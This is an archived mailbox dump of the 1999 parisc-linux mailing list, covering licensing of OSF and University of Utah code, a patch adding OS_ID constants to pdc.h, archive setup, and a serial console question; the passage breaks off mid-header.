  The above copyright notice and this permission notice shall be
  included in all copies or substantial portions of the Software.

The sticking point could be the copyright & permissions having to
appear in the supporting documentation.  What would be the supporting
documentation if, say, Red Hat sold Red Hat 8.0 for the PA-RISC? 
Would the user documentation have to include the copyright notice?

[I notice that it doesn't say `or substantial portions', so maybe just
 stealing large quantities of it and not including the permission notice
 in the documentation would be okay, as long as you don't use all of it.
 This will almost certainly annoy people though.]

>  * OSF DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE
>  * INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
>  * FOR A PARTICULAR PURPOSE.

that's fine, the GPL does that too.

>  * IN NO EVENT SHALL OSF BE LIABLE FOR ANY SPECIAL, INDIRECT, OR
>  * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
>  * LOSS OF USE, DATA OR PROFITS, WHETHER IN ACTION OF CONTRACT,
>  * NEGLIGENCE, OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION
>  * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

ditto.

>  * Copyright (c) 1990,1991,1994 The University of Utah and
>  * the Computer Systems Laboratory (CSL).  All rights reserved.
>  *
>  * THE UNIVERSITY OF UTAH AND CSL PROVIDE THIS SOFTWARE IN ITS "AS IS"
>  * CONDITION, AND DISCLAIM ANY LIABILITY OF ANY KIND FOR ANY DAMAGES
>  * WHATSOEVER RESULTING FROM ITS USE.

ditto

>  * CSL requests users of this software to return to csl-dist@cs.utah.edu any
>  * improvements that they make and grant CSL redistribution rights.

`requests' is not legally binding, so that's fine.

> Can we use the code, is it OK to accept this license, or shall we rewrite all ????

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Hibler <mike@fast.cs.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] licencing-question... ?
Date: Fri, 9 Jul 1999 12:10:55 -0600 (MDT)
Lines: 5
Approved: news@gmane.org
Message-ID: <199907091810.MAA24058@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619691 12843 80.91.229.3 (22 Nov 2014 01:28:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:11 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: pschwan@thepuffingroup.com
Original-X-From: mike@fast.cs.utah.edu  Fri Jul  9 12:10:32 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA17289
	for <parisc-linux@puffin.external.hp.com>; Fri, 9 Jul 1999 12:10:32 -0600
Original-Received: (qmail 13253 invoked by uid 15267); 9 Jul 1999 18:10:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13238 invoked from network); 9 Jul 1999 18:10:57 -0000
Original-Received: from fast.cs.utah.edu (155.99.212.1)
  by mailserv2.iuinc.com with SMTP; 9 Jul 1999 18:10:57 -0000
Original-Received: (from mike@localhost)
	by fast.cs.utah.edu (8.9.1/8.9.1) id MAA24058;
	Fri, 9 Jul 1999 12:10:55 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:9701

We (Utah CSS/CSL) tried to make our copyrights more "GPL-friendly" in
later years (i.e., no advertising clause).  If there is still some problem,
by all means let me know before you go off and rewrite Utah code!  We can
probably re-release it with a different copyright (he says naively...)


From - Thu Nov 08 21:15:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] licencing-question... ?
Date: Sat, 10 Jul 1999 05:05:43 +0200
Lines: 9
Approved: news@gmane.org
Message-ID: <19990710050543.F29058@suse.de>
References: <199907091810.MAA24058@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619691 12846 80.91.229.3 (22 Nov 2014 01:28:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:11 +0000 (UTC)
Cc: pschwan@thepuffingroup.com, parisc-linux@thepuffingroup.com
To: Mike Hibler <mike@fast.cs.utah.edu>
Original-X-From: prumpf@suse.de  Fri Jul  9 21:05:28 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA23719
	for <parisc-linux@puffin.external.hp.com>; Fri, 9 Jul 1999 21:05:28 -0600
Original-Received: (qmail 495 invoked by uid 15267); 10 Jul 1999 03:05:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 483 invoked from network); 10 Jul 1999 03:05:55 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 10 Jul 1999 03:05:55 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id CD15D32CD8; Sat, 10 Jul 1999 05:05:52 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id B0E2D9410; Sat, 10 Jul 1999 05:05:52 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 0)
	id C54477F8B; Sat, 10 Jul 1999 05:05:43 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199907091810.MAA24058@fast.cs.utah.edu>; from Mike Hibler on Fri, Jul 09, 1999 at 12:10:55PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:9702

> We (Utah CSS/CSL) tried to make our copyrights more "GPL-friendly" in
> later years (i.e., no advertising clause).  If there is still some problem,
> by all means let me know before you go off and rewrite Utah code!  We can
> probably re-release it with a different copyright (he says naively...)

If that indeed would be possible, a simple note stating that it is allowed to
distribute combinations of GPLed code and the code in question under the terms
of the GPL would suffice. What about the Open Software Foundation ?


From - Thu Nov 08 21:15:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] OS_ID and include/asm-parics/pdc.h
Date: Sat, 10 Jul 1999 09:47:14 +0300 (EETDST)
Lines: 65
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.05.9907100900570.11988-200000@gamgee.ntc.nokia.com>
References: <37867292.7463FE54@ruhr-uni-bochum.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="1418613302-851401618-931589234=:11988"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619692 12853 80.91.229.3 (22 Nov 2014 01:28:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:12 +0000 (UTC)
Cc: parisc-linux <parisc-linux@thepuffingroup.com>
To: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Original-X-From: martikka@stybba.ntc.nokia.com  Sat Jul 10 00:46:57 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA24019
	for <parisc-linux@puffin.external.hp.com>; Sat, 10 Jul 1999 00:46:56 -0600
Original-Received: (qmail 26067 invoked by uid 15267); 10 Jul 1999 06:47:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26060 invoked from network); 10 Jul 1999 06:47:24 -0000
Original-Received: from mgw-x1.nokia.com (131.228.20.21)
  by mailserv2.iuinc.com with SMTP; 10 Jul 1999 06:47:24 -0000
Original-Received: from mgw-i1.ntc.nokia.com (mgw-i1.ntc.nokia.com [131.228.118.60])
	by mgw-x1.nokia.com (8.9.3/8.9.3) with ESMTP id JAA28716;
	Sat, 10 Jul 1999 09:47:16 +0300 (EETDST)
Original-Received: from stybba.ntc.nokia.com (stybba.ntc.nokia.com [131.228.178.21])
	by mgw-i1.ntc.nokia.com (8.9.3/8.9.3) with ESMTP id JAA05326;
	Sat, 10 Jul 1999 09:47:15 +0300 (EETDST)
Original-Received: from gamgee.ntc.nokia.com (martikka@gamgee [131.228.178.130])
	by stybba.ntc.nokia.com (8.9.1a/8.9.1/Goodi) with ESMTP id JAA19839;
	Sat, 10 Jul 1999 09:47:15 +0300 (EET DST)
In-Reply-To: <37867292.7463FE54@ruhr-uni-bochum.de>
Xref: news.gmane.org gmane.linux.ports.parisc:9703

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--1418613302-851401618-931589234=:11988
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT
Content-Transfer-Encoding: 8bit

Hi!

When reading the pdc.pdf document I noticed OS_ID field in Stable Storage
area. On page 2-65:
"The first halfword of the first OS Dependet are is used to store an
identifier caller OS_ID. OS-dependent use of Stable Stodare and
Non-Volatile Memory is qualified by OS_ID."

Then there is a list of OS_ID values "assigned by HP System Architecture
and Design Lab". 

On asm-parisc/pdc.h (from OSF) we have following:
#define OS_ID_NONE      0
#define OS_ID_HPUX      1
#define OS_ID_MPE_XL    2

On pdc.h we have more of these:
0x0003 	OSF dependent data
0x0004	HP-RT dependent data
0x0005	Novell Netware dependent data

I think we might require our own OS_ID (at least in futre) if we are
going to use that non-volatile memory for something. So maybe something
like this could be registered with HP (or is it already done?):

0x0006	Linux dependent data

There is also SW_CAP field (page 2-33 on pdc.pdf) which defines "the
operating system capabilities of the processor module". This array defines
only Novell, HP-RT, OSF, MPE and HP-UX fields (and couple of R(Reserved?) 
fields). Another guestion is that do we need this for anything?

- Goodi
"The linuX Files -- The Source is Out There."
,,`,,`,,`,,``,,

--1418613302-851401618-931589234=:11988
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="pdc.h_patch"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.HPX.4.05.9907100947140.11988@gamgee.ntc.nokia.com>
Content-Description: 
Content-Disposition: attachment; filename="pdc.h_patch"
Content-Transfer-Encoding: 8bit

KioqIHBkYy5oLm9saQlTYXQgSnVsIDEwIDA5OjQzOjIyIDE5OTkNCi0tLSBw
ZGMuaAlTYXQgSnVsIDEwIDA5OjQzOjA1IDE5OTkNCioqKioqKioqKioqKioq
Kg0KKioqIDI2MywyNjggKioqKg0KLS0tIDI2MywyNzIgLS0tLQ0KICAjZGVm
aW5lIE9TX0lEX05PTkUJMA0KICAjZGVmaW5lIE9TX0lEX0hQVVggCTENCiAg
I2RlZmluZSBPU19JRF9NUEVfWEwJMg0KKyAjZGVmaW5lIE9TX0lEX09TRgkz
DQorICNkZWZpbmUgT1NfSURfSFBfUlQJNA0KKyAjZGVmaW5lIE9TX0lEX05F
VFdBUkUJNQ0KKyAjZGVmaW5lIE9TX0lEX0xJTlVYCTYNCiAgc3RydWN0IHBk
Y19zeXNfbW9kZWwgeyAgLyogUERDX01PREVML1BEQ19NT0RFTF9TWVNfTU9E
RUwgKi8NCiAgCXVuc2lnbmVkIGludCAgIG1vZF9sZW47DQogIAlpbnQgICAg
IGZpbGxlclszMV07DQo=
--1418613302-851401618-931589234=:11988--


From - Thu Nov 08 21:15:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] OS_ID and include/asm-parics/pdc.h
Date: Sat, 10 Jul 1999 09:59:11 +0300 (EETDST)
Lines: 39
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.05.9907100957010.11988-100000@gamgee.ntc.nokia.com>
References: <Pine.HPX.4.05.9907100900570.11988-200000@gamgee.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=ISO-8859-1
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1416619692 12856 80.91.229.3 (22 Nov 2014 01:28:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:12 +0000 (UTC)
To: parisc-linux <parisc-linux@thepuffingroup.com>
Original-X-From: martikka@stybba.ntc.nokia.com  Sat Jul 10 00:58:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA24221
	for <parisc-linux@puffin.external.hp.com>; Sat, 10 Jul 1999 00:58:51 -0600
Original-Received: (qmail 27535 invoked by uid 15267); 10 Jul 1999 06:59:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27508 invoked from network); 10 Jul 1999 06:59:16 -0000
Original-Received: from mgw-x2.nokia.com (131.228.20.22)
  by mailserv2.iuinc.com with SMTP; 10 Jul 1999 06:59:16 -0000
Original-Received: from mgw-i2.ntc.nokia.com (mgw-i2.ntc.nokia.com [131.228.118.61])
	by mgw-x2.nokia.com (8.9.3/8.9.3) with ESMTP id JAA03726
	for <parisc-linux@thepuffingroup.com>; Sat, 10 Jul 1999 09:59:13 +0300 (EETDST)
Original-Received: from stybba.ntc.nokia.com (stybba.ntc.nokia.com [131.228.178.21])
	by mgw-i2.ntc.nokia.com (8.9.3/8.9.3) with ESMTP id JAA10905
	for <parisc-linux@thepuffingroup.com>; Sat, 10 Jul 1999 09:59:12 +0300 (EETDST)
Original-Received: from gamgee.ntc.nokia.com (martikka@gamgee [131.228.178.130])
	by stybba.ntc.nokia.com (8.9.1a/8.9.1/Goodi) with ESMTP id JAA20638
	for <parisc-linux@thepuffingroup.com>; Sat, 10 Jul 1999 09:59:12 +0300 (EET DST)
In-Reply-To: <Pine.HPX.4.05.9907100900570.11988-200000@gamgee.ntc.nokia.com>
Content-ID: <Pine.HPX.4.05.9907100957012.11988@gamgee.ntc.nokia.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9704

On Sat, 10 Jul 1999, Hannu Martikka wrote:


> On asm-parisc/pdc.h (from OSF) we have following:
> #define OS_ID_NONE      0
> #define OS_ID_HPUX      1
> #define OS_ID_MPE_XL    2
> 
> On pdc.h we have more of these:
> 0x0003 	OSF dependent data
> 0x0004	HP-RT dependent data
> 0x0005	Novell Netware dependent data
> 
> 0x0006	Linux dependent data
Something went wrong with that patch... Anyway what I meant was to add
like this:

*** pdc.h.oli   Sat Jul 10 09:43:22 1999
--- pdc.h       Sat Jul 10 09:43:05 1999
***************
*** 263,268 ****
--- 263,272 ----
  #define OS_ID_NONE    0
  #define OS_ID_HPUX    1
  #define OS_ID_MPE_XL  2
+ #define OS_ID_OSF     3
+ #define OS_ID_HP_RT   4
+ #define OS_ID_NETWARE 5
+ #define OS_ID_LINUX   6 /* This needs to be reserved from HP! */
  struct pdc_sys_model {  /* PDC_MODEL/PDC_MODEL_SYS_MODEL */
        unsigned int   mod_len;
        int     filler[31];



- Goodi 
"The linuX Files -- The Source is Out There."
,,`,,`,,`,,``,,


From - Thu Nov 08 21:15:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <pschwan@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] archive test
Date: Sat, 10 Jul 1999 12:39:06 -0400
Lines: 3
Approved: news@gmane.org
Message-ID: <19990710123906.B20426@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619692 12858 80.91.229.3 (22 Nov 2014 01:28:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:12 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pschwan@linux.hypnotic.org  Sat Jul 10 10:38:09 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA25582
	for <parisc-linux@puffin.external.hp.com>; Sat, 10 Jul 1999 10:38:08 -0600
Original-Received: (qmail 13013 invoked by uid 15267); 10 Jul 1999 16:38:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13006 invoked from network); 10 Jul 1999 16:38:39 -0000
Original-Received: from covad-sdsl-24.cais.net (HELO linux.hypnotic.org) (pschwan@209.8.211.24)
  by mailserv2.iuinc.com with SMTP; 10 Jul 1999 16:38:39 -0000
Original-Received: (from pschwan@localhost)
	by linux.hypnotic.org (8.9.3/8.9.3/Debian/GNU) id MAA20463
	for parisc-linux@thepuffingroup.com; Sat, 10 Jul 1999 12:39:06 -0400
X-Mailer: Mutt 0.95.4i
Xref: news.gmane.org gmane.linux.ports.parisc:9705

In theory, if this test goes well, we'll have up-to-date mailing list
archives.  Here's hoping.


From - Thu Nov 08 21:15:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <pschwan@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] give this one more try...
Date: Sat, 10 Jul 1999 12:46:32 -0400
Lines: 2
Approved: news@gmane.org
Message-ID: <19990710124632.C20426@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619693 12863 80.91.229.3 (22 Nov 2014 01:28:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:13 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pschwan@linux.hypnotic.org  Sat Jul 10 10:45:34 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA25861
	for <parisc-linux@puffin.external.hp.com>; Sat, 10 Jul 1999 10:45:34 -0600
Original-Received: (qmail 13939 invoked by uid 15267); 10 Jul 1999 16:46:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13932 invoked from network); 10 Jul 1999 16:46:04 -0000
Original-Received: from covad-sdsl-24.cais.net (HELO linux.hypnotic.org) (pschwan@209.8.211.24)
  by mailserv2.iuinc.com with SMTP; 10 Jul 1999 16:46:04 -0000
Original-Received: (from pschwan@localhost)
	by linux.hypnotic.org (8.9.3/8.9.3/Debian/GNU) id MAA20563
	for parisc-linux@thepuffingroup.com; Sat, 10 Jul 1999 12:46:32 -0400
X-Mailer: Mutt 0.95.4i
Xref: news.gmane.org gmane.linux.ports.parisc:9706

Right.


From - Thu Nov 08 21:15:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <pschwan@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Mailing list archives
Date: Sat, 10 Jul 1999 13:07:28 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <19990710130728.D20426@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619693 12868 80.91.229.3 (22 Nov 2014 01:28:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:13 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pschwan@linux.hypnotic.org  Sat Jul 10 11:06:25 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA28304
	for <parisc-linux@puffin.external.hp.com>; Sat, 10 Jul 1999 11:06:24 -0600
Original-Received: (qmail 16083 invoked by uid 15267); 10 Jul 1999 17:06:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16076 invoked from network); 10 Jul 1999 17:06:55 -0000
Original-Received: from covad-sdsl-24.cais.net (HELO linux.hypnotic.org) (pschwan@209.8.211.24)
  by mailserv2.iuinc.com with SMTP; 10 Jul 1999 17:06:55 -0000
Original-Received: (from pschwan@localhost)
	by linux.hypnotic.org (8.9.3/8.9.3/Debian/GNU) id NAA20697
	for parisc-linux@thepuffingroup.com; Sat, 10 Jul 1999 13:07:28 -0400
X-Mailer: Mutt 0.95.4i
Xref: news.gmane.org gmane.linux.ports.parisc:9707

Now that we've finally decided where to put them, the mailing list
archives are available.  parisc-linux-cvs appears to be missing the
first month or so for totally unknown reasons, but parisc-linux seems
to be complete.

You'll find them at:
http://puffin.external.hp.com/mailing-lists/parisc-linux
http://puffin.external.hp.com/mailing-lists/parisc-linux-cvs

They should update immediately after each message is posted.  Let me
know if there are any problems.

-Phil


From - Thu Nov 08 21:15:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Shaver <shaver@netscape.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] serial console
Date: Sat, 10 Jul 1999 14:53:39 -0400
Organization: mozilla.org diplomatic corps
Lines: 17
Approved: news@gmane.org
Message-ID: <378796B3.5FD7E116@netscape.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619693 12872 80.91.229.3 (22 Nov 2014 01:28:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:13 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: shaver@netscape.com  Sat Jul 10 12:57:02 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA28761
	for <parisc-linux@puffin.external.hp.com>; Sat, 10 Jul 1999 12:57:01 -0600
Original-Received: (qmail 27530 invoked by uid 15267); 10 Jul 1999 18:57:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27517 invoked from network); 10 Jul 1999 18:57:31 -0000
Original-Received: from h-205-217-237-46.netscape.com (HELO netscape.com) (205.217.237.46)
  by mailserv2.iuinc.com with SMTP; 10 Jul 1999 18:57:31 -0000
Original-Received: from tintin.mcom.com (tintin.mcom.com [205.217.233.42])
	by netscape.com (8.8.5/8.8.5) with ESMTP id LAA18684
	for <parisc-linux@thepuffingroup.com>; Sat, 10 Jul 1999 11:56:58 -0700 (PDT)
Original-Received: from obob.netscape.com ([207.200.73.215]) by
          tintin.mcom.com (Netscape Messaging Server 4.1) with ESMTP id
          FEO4MY00.Q7M for <parisc-linux@thepuffingroup.com>; Sat, 10 Jul
          1999 11:56:58 -0700 
Original-Received: from netscape.com ([204.92.237.162]) by
          obob.netscape.com (Netscape Messaging Server 4.1) with ESMTP id
          FEO4K100.NBF for <parisc-linux@thepuffingroup.com>; Sat, 10 Jul
          1999 11:55:13 -0700 
Original-Sender: shaver@netscape.com (Mike Shaver)
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.2-ac3 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9708

I have a serial console cable that came with my A180C, but I can't get
the silly box to talk to it.

I've tried with another known-good cable (it works with my Indy), and
still nothing.  What do I need to do to activate it?  I tried unplugging
the web console from the network, and rebooting with the serial cable
connected and minicom running, but still no joy.

Also, is there an equivalent to Sun's L1-A or the Indy's
send-break-over-serial that will get me back to the PROM in the event
that Linux jumps to east nowhere?  Or do I have to power cycle?

Mike

-- 
275134.15 242554.19


From - Thu Nov 08 21:15:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Helge's commits
Date: Sun, 11 Jul 1999 00:46:21 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <19990711004621.G29058@suse.de>
References: <199907101141.FAA25297@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619694 12874 80.91.229.3 (22 Nov 2014 01:28:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:14 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: prumpf@suse.de  Sat Jul 10 16:45:54 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA29392
	for <parisc-linux@puffin.external.hp.com>; Sat, 10 Jul 1999 16:45:53 -0600
Original-Received: (qmail 17578 invoked by uid 15267); 10 Jul 1999 22:46:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17567 invoked from network); 10 Jul 1999 22:46:24 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 10 Jul 1999 22:46:24 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP id CAE2C32CE3
	for <parisc-linux@thepuffingroup.com>; Sun, 11 Jul 1999 00:46:21 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP id 71EB29410
	for <parisc-linux@thepuffingroup.com>; Sun, 11 Jul 1999 00:46:21 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 0)
	id 66A337F8B; Sun, 11 Jul 1999 00:46:21 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199907101141.FAA25297@puffin.external.hp.com>; from CVSD on Sat, Jul 10, 1999 at 05:41:29AM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:9709

First, please excuse me if I sound a bit aggressive ...

> Update of /home/cvs/parisc/linux/include/asm-parisc
> In directory puffin.external.hp.com:/tmp/cvs-serv25289
> 
> Modified Files:
> 	pdc.h 
> Log Message:
> 
> added the OS_ID-patch from Hannu..

Helge, I very much appreciate you working on this project.  Still, I think you
should be a bit more communicative on what you commit, especially if there are
legal (see the OSF code) or political (as I suspect might be the case for this
change) issues.  I lost quite a bit of time yesterday because of the code you
committed (which was partly due to the parisc-linux-cvs list not working) and
I would like to avoid that in the future.

	Philipp Rumpf


From - Thu Nov 08 21:15:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PDC woes
Date: Sun, 11 Jul 1999 01:18:52 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <19990711011852.A25925@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619694 12879 80.91.229.3 (22 Nov 2014 01:28:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:14 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthew.Wilcox@genedata.com  Sat Jul 10 17:18:32 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA29626
	for <parisc-linux@puffin.external.hp.com>; Sat, 10 Jul 1999 17:18:31 -0600
Original-Received: (qmail 20427 invoked by uid 15267); 10 Jul 1999 23:19:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20418 invoked from network); 10 Jul 1999 23:19:03 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 10 Jul 1999 23:19:03 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id BAA10903
	for <parisc-linux@thepuffingroup.com>; Sun, 11 Jul 1999 01:18:59 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
